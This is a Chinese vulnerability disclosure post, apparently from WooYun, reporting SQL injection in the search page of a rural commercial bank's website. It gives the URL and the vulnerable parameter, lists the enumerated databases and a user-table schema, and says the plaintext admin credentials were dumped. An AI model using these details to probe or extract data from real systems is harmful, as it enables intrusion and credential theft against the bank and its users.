多wooyun，多机会...
泽州农商行主站地址：http://www.zrcbank.top
SQL注入页面：http://www.zrcbank.top/group/1search.php
在输入框中输入aaa’后，点击查询，系统提示SQL警告
怀疑此处stext参数可能存在注入
用工具来测试下，果然存在注入：
一共包含15个数据库：
当前数据库为：apermin0320
apermin0320数据库包含870表（信息量不小啊！）
那就挑其中几个表看下：
user表：
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL 5
Database: apermin0320
Table: user
[83 columns]
+------------------+------------------+
| Column | Type |
+------------------+------------------+
| ADD_HOME | varchar(200) |
| AUTHORIZE | int(11) |
| AVATAR | varchar(20) |
| BBS_COUNTER | int(11) |
| BBS_SIGNATURE | text |
| BIND_IP | text |
| BIRTHDAY | date |
| BKGROUND | text |
| BP_NO | varchar(50) |
| BYNAME | varchar(20) |
| CALL_SOUND | char(2) |
| CANBROADCAST | int(11) |
| CONCERN_USER | text |
| DEPT_ID | int(11) |
| DEPT_ID_OTHER | text |
| DISABLED | int(11) |
| DUTY_TYPE | int(11) |
| EMAIL | varchar(50) |
| EMAIL_CAPACITY | int(11) |
| EmailAddress | varchar(100) |
| EmailPassword | varchar(100) |
| FAX_NO_DEPT | varchar(50) |
| FOLDER_CAPACITY | int(11) |
| FUNC_ID_STR | varchar(1000) |
| ICQ_NO | varchar(50) |
| IS_LUNAR | char(1) |
| KEY_SN | varchar(100) |
| LAST_PASS_TIME | datetime |
| LAST_VISIT_IP | varchar(100) |
| LAST_VISIT_TIME | datetime |
| leftmenu | varchar(50) |
| LIMIT_LOGIN | char(1) |
| MENU_EXPAND | char(2) |
| MENU_IMAGE | varchar(20) |
| MENU_TYPE | char(1) |
| MOBIL_NO | varchar(50) |
| MOBIL_NO_HIDDEN | char(1) |
| MOBILE_PS1 | varchar(50) |
| MOBILE_PS2 | varchar(50) |
| MOBILE_SP | varchar(50) |
| MSN | varchar(200) |
| MY_RSS | text |
| MY_STATUS | varchar(200) |
| MYTABLE_LEFT | varchar(200) |
| MYTABLE_RIGHT | varchar(200) |
| NICK_NAME | varchar(50) |
| NOT_LOGIN | varchar(20) |
| NOT_VIEW_TABLE | varchar(20) |
| NOT_VIEW_USER | varchar(20) |
| OICQ_NO | varchar(50) |
| ON_STATUS | char(1) |
| ONLINE | int(11) |
| PANEL | char(1) |
| PASSWORD | varchar(50) |
| PIC_ID | int(10) unsigned |
| POST_DEPT | text |
| POST_NO_HOME | varchar(50) |
| POST_PRIV | varchar(50) |
| REMARK | text |
| rightmenu | varchar(50) |
| SCORE | int(11) |
| SECURE_KEY_SN | varchar(20) |
| SEX | char(1) |
| SHORTCUT | text |
| SHOW_RSS | char(1) |
| SMS_ON | char(1) |
| SMTPServerIP | varchar(100) |
| TDER_FLAG | char(1) |
| TEL_NO_DEPT | varchar(50) |
| TEL_NO_HOME | varchar(50) |
| THEME | varchar(10) |
| UID | int(11) |
| UIN | int(10) unsigned |
| USEING_KEY | char(2) |
| USER_DEFINE | text |
| USER_ID | varchar(20) |
| USER_NAME | varchar(200) |
| USER_NO | int(11) |
| USER_PRIV | varchar(10) |
| USER_PRIV_OTHER | text |
| WEATHER_CITY | varchar(20) |
| WEBMAIL_CAPACITY | int(11) |
| WEBMAIL_NUM | int(11) |
+------------------+------------------+
网速慢数据太多，就没跑完...user表内容也很丰富啊
看一下zhk_admin表，这个表应该是管理员表
dump下，后台管理员用户名密码都在这了，并且还是明文，醉了...
最后在看一个表：tys_admin（我又醉了，全是弱密码）
好吧，问题证明到此。
